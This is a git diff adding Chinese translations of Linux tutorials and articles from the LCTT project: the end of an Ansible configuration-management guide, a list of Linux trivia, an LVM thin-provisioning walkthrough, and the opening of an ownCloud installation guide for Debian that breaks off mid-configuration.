openSuse 或者 Suse enterprise 你可能还不熟悉 zypper, 它基本上就是 suse 世界中相当于 yum 的存在。在上面所有的例子中,我的 hosts 文件中都只有一台机器。除了最后一个命令外,其他所有命令都应该在任何标准的 *nix 系统和标准的 ssh 配置中使用,这造成了一个问题。如果我们想要同时管理多种不同的机器呢?这便是 playbooks 和 ansible 的可配置性闪闪发光的地方了。首先我们来少许修改一下我们的 hosts 文件: + + $ cat ~/ansible_hosts + +样例输出: + + [RHELBased] + 10.50.1.33 + 10.50.1.47 + + [SUSEBased] + 127.0.0.1 + +首先,我们创建了一些分组的服务器,并且给了他们一些有意义的标签。然后我们来创建一个为不同类型的服务器执行不同操作的 playbook。你可能已经发现这个 yaml 的数据结构和我们之前运行的命令行语句中的相似性了。简单来说,-m 是一个模块,而 -a 用来提供模块参数。在 YAML 表示中你可以先指定模块,然后插入一个冒号 :,最后指定参数。 + + --- + - hosts: SUSEBased + remote_user: root + tasks: + - zypper: name=apache2 state=latest + - hosts: RHELBased + remote_user: root + tasks: + - yum: name=httpd state=latest + +现在我们有一个简单的 playbook 了,我们可以这样运行它: + + $ ansible-playbook testPlaybook.yaml -f 10 + +样例输出: + + PLAY [SUSEBased] ************************************************************** + + GATHERING FACTS *************************************************************** + ok: [127.0.0.1] + + TASK: [zypper name=apache2 state=latest] ************************************** + ok: [127.0.0.1] + + PLAY [RHELBased] ************************************************************** + + GATHERING FACTS *************************************************************** + ok: [10.50.1.33] + ok: [10.50.1.47] + + TASK: [yum name=httpd state=latest] ******************************************* + changed: [10.50.1.33] + changed: [10.50.1.47] + + PLAY RECAP ******************************************************************** + 10.50.1.33 : ok=2 changed=1 unreachable=0 failed=0 + 10.50.1.47 : ok=2 changed=1 unreachable=0 failed=0 + 127.0.0.1 : ok=2 changed=0 unreachable=0 failed=0 + +注意,你会看到 ansible 联系到的每一台机器的输出。-f 参数让 ansible 在多台主机上同时运行指令。除了指定全部主机,或者一个主机分组的名字以外,你还可以把导入 ssh 公钥的操作从命令行里转移到 playbook 中,这将在设置新主机的时候提供很大的方便,甚至让新主机直接可以运行一个 playbook。为了演示,我们把我们之前的公钥例子放进一个 playbook 里: + + --- + - hosts: SUSEBased + remote_user: mike + sudo: yes + tasks: + - authorized_key: user=root key="{{ lookup('file', '/home/mike/.ssh/id_rsa.pub') }}" path=/root/.ssh/authorized_keys manage_dir=no + - hosts: RHELBased + remote_user: mdonlon + sudo: yes + tasks: + - authorized_key: user=root key="{{ lookup('file', '/home/mike/.ssh/id_rsa.pub') }}" path=/root/.ssh/authorized_keys manage_dir=no + +除此之外还有很多可以做的事情,比如在启动的时候把公钥配置好,或者引入其他的流程来让你按需配置一些机器。不过只要 SSH 被配置成接受密码登陆,这些几乎可以用在所有的流程中。在你准备开始写太多 playbook 之前,另一个值得考虑的事情是,代码管理可以有效节省你的时间。机器需要不断变化,然而你并不需要在每次机器发生变化时都重新写一个 playbook,只需要更新相关的部分并提交这些修改。与此相关的另一个好处是,如同我之前所述,你可以从不同的地方管理你的整个基础结构。你只需要将你的 playbook 仓库 git clone 到新的机器上,就完成了管理所有东西的全部设置流程。 + +#### 现实中的 ansible 例子 #### + +我知道很多用户经常使用 pastebin 这样的服务,以及很多公司基于显而易见的理由配置了他们内部使用的类似东西。最近,我遇到了一个叫做 showterm 的程序,巧合之下我被一个客户要求配置它用于内部使用。这里我不打算赘述这个应用程序的细节,不过如果你感兴趣的话,你可以使用 Google 搜索 showterm。作为一个合理的现实中的例子,我将会试图配置一个 showterm 服务器,并且配置使用它所需要的客户端应用程序。在这个过程中我们还需要一个数据库服务器。现在我们从配置客户端开始: + + --- + - hosts: showtermClients + remote_user: root + tasks: + - yum: name=rubygems state=latest + - yum: name=ruby-devel state=latest + - yum: name=gcc state=latest + - gem: name=showterm state=latest user_install=no + +这部分很简单。下面是主服务器: + + --- + - hosts: showtermServers + remote_user: root + tasks: + - name: ensure packages are installed + yum: name={{item}} state=latest + with_items: + - postgresql + - postgresql-server + - postgresql-devel + - python-psycopg2 + - git + - ruby21 + - ruby21-passenger + - name: showterm server from github + git: repo=https://github.com/ConradIrwin/showterm.io dest=/root/showterm + - name: Initdb + command: service postgresql initdb + creates=/var/lib/pgsql/data/postgresql.conf + + - name: Start PostgreSQL and enable at boot + service: name=postgresql + enabled=yes + state=started + - gem: name=pg state=latest user_install=no + handlers: + - name: restart postgresql + service: name=postgresql state=restarted + + - hosts: showtermServers + remote_user: root + sudo: yes + sudo_user: postgres + vars: + dbname: showterm + dbuser: showterm + dbpassword: showtermpassword + tasks: + - name: create db + postgresql_db: name={{dbname}} + + - name: create user with ALL priv + postgresql_user: db={{dbname}} name={{dbuser}} password={{dbpassword}} priv=ALL + - hosts: showtermServers + remote_user: root + tasks: + - name: database.yml + template: src=database.yml dest=/root/showterm/config/database.yml + - hosts: showtermServers + remote_user: root + tasks: + - name: run bundle install + shell: bundle install + args: + chdir: /root/showterm + - hosts: showtermServers + remote_user: root + tasks: + - name: run rake db tasks + shell: 'bundle exec rake db:create db:migrate db:seed' + args: + chdir: /root/showterm + - hosts: showtermServers + remote_user: root + tasks: + - name: apache config + template: src=showterm.conf dest=/etc/httpd/conf.d/showterm.conf + +还凑合。请注意,从某种意义上来说这是一个任意选择的程序,然而我们现在已经可以持续地在任意数量的机器上部署它了,这便是配置管理的好处。此外,在大多数情况下这里的定义语法几乎是不言而喻的,wiki 页面也就不需要加入太多细节了。当然在我的观点里,一个有太多细节的 wiki 页面绝不会是一件坏事。 + +### 扩展配置 ### + +我们并没有涉及到这里所有的细节。Ansible 有许多选项可以用来配置你的系统。你可以在你的 hosts 文件中内嵌变量,而 ansible 将会把它们应用到远程节点。如: + + [RHELBased] + 10.50.1.33 http_port=443 + 10.50.1.47 http_port=80 ansible_ssh_user=mdonlon + + [SUSEBased] + 127.0.0.1 http_port=443 + +尽管这对于快速配置来说已经非常方便,你还可以将变量分成存放在 yaml 格式的多个文件中。在你的 hosts 文件路径里,你可以创建两个子目录 group_vars 和 host_vars。在这些路径里放置的任何文件,只要能对得上一个主机分组的名字,或者你的 hosts 文件中的一个主机名,它们都会在运行时被插入进来。所以前面的一个例子将会变成这样: + + ultrabook:/etc/ansible # pwd + /etc/ansible + ultrabook:/etc/ansible # tree + . + ├── group_vars + │ ├── RHELBased + │ └── SUSEBased + ├── hosts + └── host_vars + ├── 10.50.1.33 + └── 10.50.1.47 + +---------- + + 2 directories, 5 files + ultrabook:/etc/ansible # cat hosts + [RHELBased] + 10.50.1.33 + 10.50.1.47 + +---------- + + [SUSEBased] + 127.0.0.1 + ultrabook:/etc/ansible # cat group_vars/RHELBased + ultrabook:/etc/ansible # cat group_vars/SUSEBased + --- + http_port: 443 + ultrabook:/etc/ansible # cat host_vars/10.50.1.33 + --- + http_port: 443 + ultrabook:/etc/ansible # cat host_vars/10.50.1.47 + --- + http_port:80 + ansible_ssh_user: mdonlon + +### 改善 Playbooks ### + +组织 playbooks 也已经有很多种现成的方式。在前面的例子中我们用了一个单独的文件,因此这方面被大幅地简化了。组织这些文件的一个常用方式是创建角色。简单来说,你将一个主文件加载为你的 playbook,而它将会从其它文件中导入所有的数据,这些其他的文件便是角色。举例来说,如果你有了一个 wordpress 网站,你需要一个 web 前端,和一个数据库。web 前端将包括一个 web 服务器,应用程序代码,以及任何需要的模块。数据库有时候运行在同一台主机上,有时候运行在远程的主机上,这时候角色就可以派上用场了。你创建一个目录,并对每个角色创建对应的小 playbook。在这个例子中我们需要一个 apache 角色,mysql 角色,wordpress 角色,mod_php,以及 php 角色。最大的好处是,并不是每个角色都必须被应用到同一台机器上。在这个例子中,mysql 可以被应用到一台单独的机器。这同样为代码重用提供了可能,比如你的 apache 角色还可以被用在 python 和其他相似的 php 应用程序中。展示这些已经有些超出了本文的范畴,而且做一件事总是有很多不同的方式,我建议搜索一些 ansible 的 playbook 例子。有很多人在 github 上贡献代码,当然还有其他一些网站。 + +### 模块 ### + +在 ansible 中,对于所有完成的工作,幕后的工作都是由模块主导的。Ansible 有一个非常丰富的内置模块仓库,其中包括软件包安装,文件传输,以及我们在本文中做的所有事情。但是对一部分人来说,这些并不能满足他们的配置需求,ansible 也提供了方法让你添加自己的模块。Ansible 的 API 有一个非常棒的事情是,它并没有限制模块也必须用编写它的语言 Python 来编写,也就是说,你可以用任何语言来编写模块。Ansible 模块通过传递 JSON 数据来工作,因此你只需要用想用的语言生成一段 JSON 数据。我很确定任何脚本语言都可以做到这一点,因此你现在就可以开始写点什么了。在 Ansible 的网站上有很多的文档,包括模块的接口是如何工作的,以及 Github 上也有很多模块的例子。注意一些小众的语言可能没有很好的支持,不过那只可能是因为没有多少人在用这种语言贡献代码。试着写点什么,然后把你的结果发布出来吧! + +### 总结 ### + +总的来说,虽然在配置管理方面已经有很多解决方案,我希望本文能显示出 ansible 简单的设置过程,在我看来这是它最重要的一个要点。请注意,因为我试图展示做一件事的不同方式,所以并不是前文中所有的例子都是适用于你的个别环境或者对于普遍情况的最佳实践。这里有一些链接能让你对 ansible 的了解进入下一个层次: + +- [Ansible 项目][7]主页. +- [Ansible 项目文档][8]. +- [多级环境与 Ansible][9]. + + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/python-tutorials/linux-tutorial-install-ansible-configuration-management-and-it-automation-tool/ + +作者:[Nix Craft][a] +译者:[felixonmars](https://github.com/felixonmars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us +[1]:http://www.cyberciti.biz/faq/fedora-sl-centos-redhat6-enable-epel-repo/ +[2]:http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ +[3]:http://www.cyberciti.biz/tips/linux-debian-package-management-cheat-sheet.html +[4]:http://www.cyberciti.biz/faq/debian-ubuntu-centos-rhel-linux-install-pipclient/ +[5]:http://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/ +[6]:http://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/ +[7]:http://www.ansible.com/ +[8]:http://docs.ansible.com/ +[9]:http://rosstuck.com/multistage-environments-with-ansible/ diff --git a/published/201411/20140828 Interesting facts about Linux.md b/published/201411/20140828 Interesting facts about Linux.md new file mode 100644 index 0000000000..b609bf0397 --- /dev/null +++ b/published/201411/20140828 Interesting facts about Linux.md @@ -0,0 +1,83 @@ +关于Linux的趣事 +================================================================================ +2014年8月25日,是Linux的第23个生日。1991年8月25日,一位21岁的赫尔辛基大学的学生发布了举世闻名的[新闻组][1](Usenet post),标志着现在世界著名的Linux正式诞生。 + +23年以后的现在,Linux已经无处不在,不仅仅被安装于终端用户的桌面系统,[智能手机][2]和嵌入式系统,甚至也被[龙头企业][3]用于他们的关键系统,比如[美国海军的核潜艇][4](US Navy's nuclear submarines)和[联邦航空局的空中管制系统][5](FAA's air traffic control)。Linux进入了无处不在的云计算时代,在云计算平台方面仍然保持着它的优势。 + +今天,让我来告诉大家**一些你们可能不知道的Linux趣事和Linux历史**。如果有什么要补充的,请在评论中分享出来。在这篇文章里,我将会用“linux”、“kernel”和“Linux kernel”来表示同一个意思。 + +1.关于linux是否是一个开源的操作系统这种争论一直是无休无止的。事实上,“Linux”操作系统的核心组件参照的是Linux kernel(内核)。而反派认为Linux不是一个纯粹的操作系统,因为他们认为仅仅一个内核(kernel),并不是一个操作系统,自由软件的推崇者认为最大的操作系统应叫做“[GNU/Linux][7]”,把功劳归于应得的人。(比如:[GNU project][8])。另一方面,一些Linux的开发者和程序员认为,Linux拥有成为一个操作系统的资格,因为它实现了[POSIX标准][9]。 + +2.从openhub网站的统计来看,绝大部分(95%)的Linux是用C语言写的。第二(2.8%)受欢迎的是汇编语言。毫无疑问,C语言比C++ 的更受欢迎,也表明了Linus对C++的立场。下面是Linus编程语言的分类。 + +![](https://farm4.staticflickr.com/3845/15025332121_055cfe3a2c_z.jpg) + +3.在全世界,Linux已经被[13,036个贡献者][10]创建和修改。当然,贡献最多的还是Linus Torvalds自己。从Linux创建至今,他提交了20,000次以上的代码。下图显示了总提交次数最多的前十位Linux贡献者。 + +![](https://farm4.staticflickr.com/3837/14841786838_7a50625f9d_b.jpg) + +4.Linux的代码行(SLOC)超过了1700万行。估计整个代码库的花费大概是5,526人年,或者是超过300M(1M=10*1000万亿)美元,[基于模型的基本估算法][11](basic COCOMO model)。 + +5.企业并不是单纯的Linux消费者。他们的员工也在[积极参与][12]Linux的开发。下图显示了参与Linux内核开发的企业员工2013年提交次数总和的前十位。他们包括Linux商业版发行者(Red Hat,SUSE),芯片/嵌入式系统制造商(Intel,Texas Instrument,wolfson),非盈利性组织(Linaro)和其它的IT公司(IBM,Samsung,Google)。 + +![](https://farm6.staticflickr.com/5573/14841856427_a5a1828245_o.png) + +6.Linux的官方吉祥物是一个非常可爱的小企鹅“Tux”。[第一次提出][13]并决定用小企鹅作为Linux吉祥物/标志这个想法的是Linus自己。为什么是小企鹅呢?因为Linus本人很喜欢企鹅,尽管他曾经被一只凶猛的企鹅咬伤过,还导致他得了一场病。 + +7.一个Linux“发行版”包括Linux内核、支持GUN的组件和库、和一些第三方的应用。根据[distrowatch网站][14]的报告,现在总共有286个活跃的Linux发行版。其中最老的一个版本叫[Slackware][15],它是从1993年正式发布出来的一个可用的版本。 + +8.Kernel.org是一个Linux源码的主要仓库,曾经在2011年8月被一个匿名的攻击者[攻陷][16],攻击者打算篡改kernel.org的服务器。为了加强Linux内核访问策略的安全性,Linux基金会最近在Linux内核的Git官方托管的仓库上[开启了][17]双重认证。 + +9.Linux在500强超级计算机中的优势还在[增加][18]。截至2014年6月,世界范围内运算速度最快的计算机97%都是运行在Linux上面的。 + +10.太空监视(spacewatch),是亚利桑那大学月球与行星实验室的一个研究项目,在GNU/Linux和它的创造者们出现之后,用他们名字命名了几颗小行星([小行星9793 Torvalds][19],[小行星9882 Stallman][20],[小行星9885 Linux][21],[小行星9965 GUN][22]),以表彰他们把开源操作系统用于他们的小行星调查活动。 + +11.纵观Linux内核发展的近代史,版本从2.6到3.0有一个很大的跳跃。这个[重编的版本号3][23]实际上并不是意味着Linux内核有什么重大的构建,但却标志着Linux 20周年的一个里程碑。 + +12.在2000年的时候,乔帮主还在苹果。他当时就[尝试雇佣][24]Linus Torvalds,让他放弃Linux的开发,转而为“Unix最大的用户群工作”,这个项目后面发展成了MAC OS X。当时,Linus拒绝了乔帮主的邀请。 + +13.Linux 内核的重启函数[reboot()][25]需要两个神奇的数字,而这第二个数字来自Linus Torvalds和他3个女儿的出生日期。 + +14.虽然全世界都有Linux的很多粉丝,但是也仍然存在很多对Linux的批评(主要是针对桌面系统),如缺乏硬件支持,缺乏标准化,由于很短的升级和发布周期导致系统的不稳定等等。2014年Linux内核小组在LinuxCon大会上,当Linus被问及Linux的未来将何去何从,他表示“I still want the desktop”(我仍然希望桌面化)。 + +如果你还知道一些关于Linux的趣事,请在评论中与我们分享。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/interesting-facts-linux.html + +作者:[Dan Nanni][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://groups.google.com/forum/message/raw?msg=comp.os.minix/dlNtH7RRrGA/SwRavCzVE7gJ +[2]:http://developer.android.com/about/index.html +[3]:http://fortune.com/2013/05/06/how-linux-conquered-the-fortune-500/ +[4]:http://www.linuxjournal.com/article/7789 +[5]:http://fcw.com/Articles/2006/05/01/FAA-manages-air-traffic-with-Linux.aspx +[6]:http://thecloudmarket.com/stats +[7]:http://www.gnu.org/gnu/why-gnu-linux.html +[8]:http://www.gnu.org/gnu/gnu-history.html +[9]:http://en.wikipedia.org/wiki/POSIX +[10]:https://www.openhub.net/p/linux/contributors/summary +[11]:https://www.openhub.net/p/linux/estimated_cost +[12]:http://www.linuxfoundation.org/publications/linux-foundation/who-writes-linux-2013 +[13]:http://www.sjbaker.org/wiki/index.php?title=The_History_of_Tux_the_Linux_Penguin +[14]:http://distrowatch.com/search.php?ostype=All&category=All&origin=All&basedon=All¬basedon=None&desktop=All&architecture=All&status=Active +[15]:http://www.slackware.com/info/ +[16]:http://pastebin.com/BKcmMd47 +[17]:http://www.linux.com/news/featured-blogs/203-konstantin-ryabitsev/784544-linux-kernel-git-repositories-add-2-factor-authentication +[18]:http://www.top500.org/statistics/details/osfam/1 +[19]:http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=9793 +[20]:http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=9882 +[21]:http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=9885 +[22]:http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=9965 +[23]:https://lkml.org/lkml/2011/5/29/204 +[24]:http://www.wired.com/2012/03/mr-linux/2/ +[25]:http://lxr.free-electrons.com/source/kernel/reboot.c#L199 +[26]:http://www.nndb.com/people/444/000022378/ +[27]:http://linuxfonts.narod.ru/why.linux.is.not.ready.for.the.desktop.current.html +[28]:https://www.youtube.com/watch?v=8myENKt8bD0 diff --git a/published/201411/20140828 Setup Thin Provisioning Volumes in Logical Volume Management (LVM)--Part IV.md b/published/201411/20140828 Setup Thin Provisioning Volumes in Logical Volume Management (LVM)--Part IV.md new file mode 100644 index 0000000000..61f4c9e389 --- /dev/null +++ b/published/201411/20140828 Setup Thin Provisioning Volumes in Logical Volume Management (LVM)--Part IV.md @@ -0,0 +1,227 @@ +在LVM中设置精简资源调配卷(第四部分) +================================================================================ +逻辑卷管理有许多特性,比如像快照和精简资源调配。在先前([第三部分][3]中),我们已经介绍了如何为逻辑卷创建快照。在本文中,我们将了解如何在LVM中设置精简资源调配。 + +![Setup Thin Provisioning in LVM](http://www.tecmint.com/wp-content/uploads/2014/08/Setup-Thin-Provisioning-in-LVM.jpg) + +*在LVM中设置精简资源调配* + +### 精简资源调配是什么? ### + +精简资源调配用于LVM以在精简池中创建虚拟磁盘。我们假定我服务器上有**15GB**的存储容量,而我已经有2个客户各自占去了5GB存储空间。你是第三个客户,你也请求5GB的存储空间。在以前,我们会提供整个5GB的空间(富卷)。然而,你可能只使用5GB中的2GB,其它3GB以后再去填满它。 + +而在精简资源调配中我们所做的是,在其中一个大卷组中定义一个精简池,再在精简池中定义一个精简卷。这样,不管你写入什么文件,它都会保存进去,而你的存储空间看上去就是5GB。然而,这所有5GB空间不会全部铺满整个硬盘。对其它客户也进行同样的操作,就像我说的,那儿已经有两个客户,你是第三个客户。 + +那么,让我们想想,我到底为客户分配了总计多少GB的空间呢?所有15GB的空间已经全部分配完了,如果现在有某个人来问我是否能提供5GB空间,我还可以分配给他么?答案是“可以”。在精简资源调配中,我可以为第四位客户分配5GB空间,即使我已经把那15GB的空间分配完了。 + +**警告**:从那15GB空间中,如果我们对资源调配超过15GB了,那就是过度资源调配了。 + +### 它是怎么工作的?我们又是怎样为客户提供存储空间的? ### + +我已经提供给你5GB空间,但是你可能只用了2GB,而其它3GB还空闲着。在富资源调配中,我们不能这么做,因为它一开始就分配了整个空间。 + +在精简资源调配中,如果我为你定义了5GB空间,它就不会在定义卷时就将整个磁盘空间全部分配,它会根据你的数据写入而增长,希望你看懂了!跟你一样,其它客户也不会使用全部卷,所以还是有机会为一个新客户分配5GB空间的,这称之为过度资源调配。 + +但是,必须对各个卷的增长情况进行监控,否则结局会是个灾难。在过度资源调配完成后,如果所有4个客户都尽量写入数据到磁盘,你将碰到问题了。因为这个动作会填满15GB的存储空间,甚至溢出,从而导致这些卷下线。 + +### 前置阅读 ### + +- [在Linux中使用LVM构建灵活的磁盘存储(第一部分)][1] +- [在Linux中扩展/缩减LVM(第二部分)][2] +- [在 LVM中 录制逻辑卷快照并恢复(第三部分)][3] + +#### 我的服务器设置 #### + + 操作系统 — 安装有LVM的CentOS 6.5 + 服务器IP — 192.168.0.200 + +### 步骤1: 设置精简池和卷 ### + +理论讲太多了,让我们还是来点实际的吧,我们一起来设置精简池和精简卷。首先,我们需要一个大尺寸的卷组。这里,我创建了一个**15GB**的卷组用于演示。现在,用下面的命令来列出卷组。 + + # vgcreate -s 32M vg_thin /dev/sdb1 + +![Listing Volume Group](http://www.tecmint.com/wp-content/uploads/2014/08/Listing-Volume-Group.jpg) + +*列出卷组* + +接下来,在创建精简池和精简卷之前,检查逻辑卷有多少空间可用。 + + # vgs + # lvs + +![Check Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/check-Logical-Volume.jpg) + +*检查逻辑卷* + +我们可以在上面的lvs命令输出中看到,只显示了一些默认逻辑用于文件系统和交换分区。 + +### 创建精简池 ### + +使用以下命令在卷组(vg_thin)中创建一个15GB的精简池。 + + # lvcreate -L 15G --thinpool tp_tecmint_pool vg_thin + +- **-L** – 卷组大小 +- **–thinpool** – 创建精简池 +- **tp\_tecmint\_poolThin** - 精简池名称 +- **vg\_thin** – 我们需要创建精简池的卷组名称 + +![Create Thin Pool](http://www.tecmint.com/wp-content/uploads/2014/08/Create-Thin-Pool.jpg) + +*创建精简池* + +使用‘lvdisplay’命令来查看详细信息。 + + # lvdisplay vg_thin/tp_tecmint_pool + +![Logical Volume Information](http://www.tecmint.com/wp-content/uploads/2014/08/Logical-Volume-Information.jpg) + +*逻辑卷信息* + +这里,我们还没有在该精简池中创建虚拟精简卷。在图片中,我们可以看到分配的精简池数据为**0.00%**。 + +### 创建精简卷 ### + +现在,我们可以在带有-V(Virtual)选项的‘lvcreate’命令的帮助下,在精简池中定义精简卷了。 + + # lvcreate -V 5G --thin -n thin_vol_client1 vg_thin/tp_tecmint_pool + +我已经在我的**vg_thin**卷组中的**tp\_tecmint\_pool**内创建了一个精简虚拟卷,取名为**thin\_vol\_client1**。现在,使用下面的命令来列出逻辑卷。 + + # lvs + +![List Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/08/List-Logical-Volumes.jpg) + +*列出逻辑卷* + +刚才,我们已经在上面创建了精简卷,这就是为什么没有数据,显示为**0.00%M**。 + +好吧,让我为其它2个客户再创建2个精简卷。这里,你可以看到在精简池(**tp\_tecmint\_pool**)下有3个精简卷了。所以,从这一点上看,我们开始明白,我已经使用所有15GB的精简池。 + +![Create Thin Volumes](http://www.tecmint.com/wp-content/uploads/2014/08/Create-Thin-Volumes.jpg) + +### 创建文件系统 ### + +现在,使用下面的命令为这3个精简卷创建挂载点并挂载,然后拷贝一些文件进去。 + + # mkdir -p /mnt/client1 /mnt/client2 /mnt/client3 + +列出创建的目录。 + + # ls -l /mnt/ + +![Creating Mount Points](http://www.tecmint.com/wp-content/uploads/2014/08/Creating-Mount-Points.jpg) + +*创建挂载点* + +使用‘mkfs’命令为这些创建的精简卷创建文件系统。 + + # mkfs.ext4 /dev/vg_thin/thin_vol_client1 && mkfs.ext4 /dev/vg_thin/thin_vol_client2 && mkfs.ext4 /dev/vg_thin/thin_vol_client3 + +![Create File System](http://www.tecmint.com/wp-content/uploads/2014/08/Create-File-System.jpg) + +*创建文件系统* + +使用‘mount’命令来挂载所有3个客户卷到创建的挂载点。 + + # mount /dev/vg_thin/thin_vol_client1 /mnt/client1/ && mount /dev/vg_thin/thin_vol_client2 /mnt/client2/ && mount /dev/vg_thin/thin_vol_client3 /mnt/client3/ + +使用‘df’命令来列出挂载点。 + + # df -h + +![Print Mount Points](http://www.tecmint.com/wp-content/uploads/2014/08/Print-Mount-Points.jpg) + +*显示挂载点* + +这里,我们可以看到所有3个客户卷已经挂载了,而每个客户卷只使用了3%的数据空间。那么,让我们从桌面添加一些文件到这3个挂载点,以填充一些空间。 + +![Add Files To Volumes](http://www.tecmint.com/wp-content/uploads/2014/08/Add-Files-To-Volumes.jpg) + +*添加文件到卷* + +现在列出挂载点,并查看每个精简卷使用的空间,然后列出精简池来查看池中已使用的大小。 + + # df -h + # lvdisplay vg_thin/tp_tecmint_pool + +![Check Mount Point Size](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Mount-Point-Size.jpg) + +*检查挂载点大小* + +![Check Thin Pool Size](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Thin-Pool-Size.jpg) + +*检查精简池大小* + +上面的命令显示了3个挂载点及其使用大小百分比。 + + 13% of datas used out of 5GB for client1 + 29% of datas used out of 5GB for client2 + 49% of datas used out of 5GB for client3 + +在查看精简池时,我们看到总共只有**30%**的数据被写入,这是上面3个客户虚拟卷的总使用量。 + +### 过度资源调配 ### + +现在,**第四个**客户来申请5GB的存储空间。我能给他吗?因为我已经把15GB的池分配给了3个客户。能不能再给另外一个客户分配5GB的空间呢?可以,这完全可能。在我们使用**过度资源调配**时,就可以实现。过度资源调配可以给我们比我们所拥有的更大的空间。 + +让我来为第四位客户创建5GB的空间,然后再验证一下大小吧。 + + # lvcreate -V 5G --thin -n thin_vol_client4 vg_thin/tp_tecmint_pool + # lvs + +![Create thin Storage](http://www.tecmint.com/wp-content/uploads/2014/08/Create-thin-Storage.jpg) + +*创建精简存储* + +在精简池中,我只有15GB大小的空间,但是我已经在精简池中创建了4个卷,其总量达到了20GB。如果4个客户都开始写入数据到他们的卷,并将空间填满,到那时我们将面对严峻的形势。如果不填满空间,那不会有问题。 + +现在,我已经创建在**thin\_vol\_client4**中创建了文件系统,然后挂载到了**/mnt/client4**下,并且拷贝了一些文件到里头。 + + # lvs + +![Verify Thin Storage](http://www.tecmint.com/wp-content/uploads/2014/08/Verify-Thing-Storage.jpg) + +*验证精简存储* + +我们可以在上面的图片中看到,新创建的client 4总计使用空间达到了**89.34%**,而精简池的已用空间达到了**59.19**。如果所有这些用户不再过度对卷写入,那么它就不会溢出,下线。要避免溢出的话,我们需要扩展精简池大小。 + +**重要**:精简池只是一个逻辑卷,因此,如果我们需要对其进行扩展,我们可以使用和扩展逻辑卷一样的命令,但我们不能缩减精简池大小。 + + # lvextend + +这里,我们可以看到怎样来扩展逻辑精简池(**tp_tecmint_pool**)。 + + # lvextend -L +15G /dev/vg_thin/tp_tecmint_pool + +![Extend Thin Storage](http://www.tecmint.com/wp-content/uploads/2014/08/Extend-Thin-Storage.jpg) + +*扩展精简存储* + +接下来,列出精简池大小。 + + # lvs + +![Verify Thin Storage](http://www.tecmint.com/wp-content/uploads/2014/08/Verify-Thin-Storage.jpg) + +*验证精简存储* + +前面,我们的**tp_tecmint_pool**大小为15GB,而在对第四个精简卷进行过度资源配置后达到了20GB。现在,它扩展到了30GB,所以我们的过度资源配置又回归常态,而精简卷也不会溢出下线了。通过这种方式,我们可以添加更多的精简卷到精简池中。 + +在本文中,我们已经了解了怎样来使用一个大尺寸的卷组创建一个精简池,以及怎样通过过度资源配置在精简池中创建精简卷和扩着精简池。在下一篇文章中,我们将介绍怎样来移除逻辑卷。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/setup-thin-provisioning-volumes-in-lvm/ + +作者:[Babin Lonston][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ +[1]:http://linux.cn/article-3965-1.html +[2]:http://linux.cn/article-3974-1.html +[3]:http://linux.cn/article-4145-1.html diff --git a/published/201411/20140901 How to install and configure ownCloud on Debian.md b/published/201411/20140901 How to install and configure ownCloud on Debian.md new file mode 100644 index 0000000000..e360dad0dd --- /dev/null +++ b/published/201411/20140901 How to install and configure ownCloud on Debian.md @@ -0,0 +1,209 @@ +如何在Debian上安装配置ownCloud +================================================================================ +据其官方网站,ownCloud可以让你通过一个Web界面或者WebDAV访问你的文件。它还提供了一个平台,可以轻松地查看、编辑和同步您所有设备的通讯录、日历和书签。尽管ownCloud与广泛使用Dropbox非常相似,但主要区别在于ownCloud是免费的,开源的,从而可以自己的服务器上建立与Dropbox类似的云存储服务。使用ownCloud你可以完整地访问和控制您的私人数据,而对存储空间(除了硬盘容量)或客户端的连接数量没有限制。 + +ownCloud提供了社区版(免费)和企业版(面向企业的有偿支持)。预编译的ownCloud社区版可以提供了CentOS、Debian、Fedora、openSUSE、,SLE和Ubuntu版本。本教程将演示如何在Debian Wheezy上安装和在配置ownCloud社区版。 + +### 在Debian上安装 ownCloud ### + +进入官方网站:[http://owncloud.org][1],并点击‘Install’按钮(右上角)。 + +![](https://farm4.staticflickr.com/3885/14884771598_323f2fc01c_z.jpg) + +为当前的版本选择“Packages for auto updates”(下面的图是v7)。这可以让你轻松的让你使用的ownCloud与Debian的包管理系统保持一致,包是由ownCloud社区维护的。 + +![](https://farm6.staticflickr.com/5589/15071372505_298a796ff6_z.jpg) + +在下一屏中点击继续: + +![](https://farm6.staticflickr.com/5589/14884818527_554d1483f9_z.jpg) + +在可用的操作系统列表中选择Debian 7 [Wheezy]: + +![](https://farm6.staticflickr.com/5581/14884669449_433e3334e0_z.jpg) + +加入ownCloud的官方Debian仓库: + + # echo 'deb http://download.opensuse.org/repositories/isv:/ownCloud:/community/Debian_7.0/ /' >> /etc/apt/sources.list.d/owncloud.list + +加入仓库密钥到apt中: + + # wget http://download.opensuse.org/repositories/isv:ownCloud:community/Debian_7.0/Release.key + # apt-key add - < Release.key + +继续安装ownCLoud: + + # aptitude update + # aptitude install owncloud + +打开你的浏览器并定位到你的ownCloud实例中,地址是 http://服务器 IP/owncloud: + +![](https://farm4.staticflickr.com/3869/15071011092_f8f32ffe11_z.jpg) + +注意ownCloud可能会包一个Apache配置错误的警告。使用下面的步骤来解决这个错误来解决这些错误信息。 + +a) 编辑 the /etc/apache2/apache2.conf (设置 AllowOverride 为 All): + + + Options 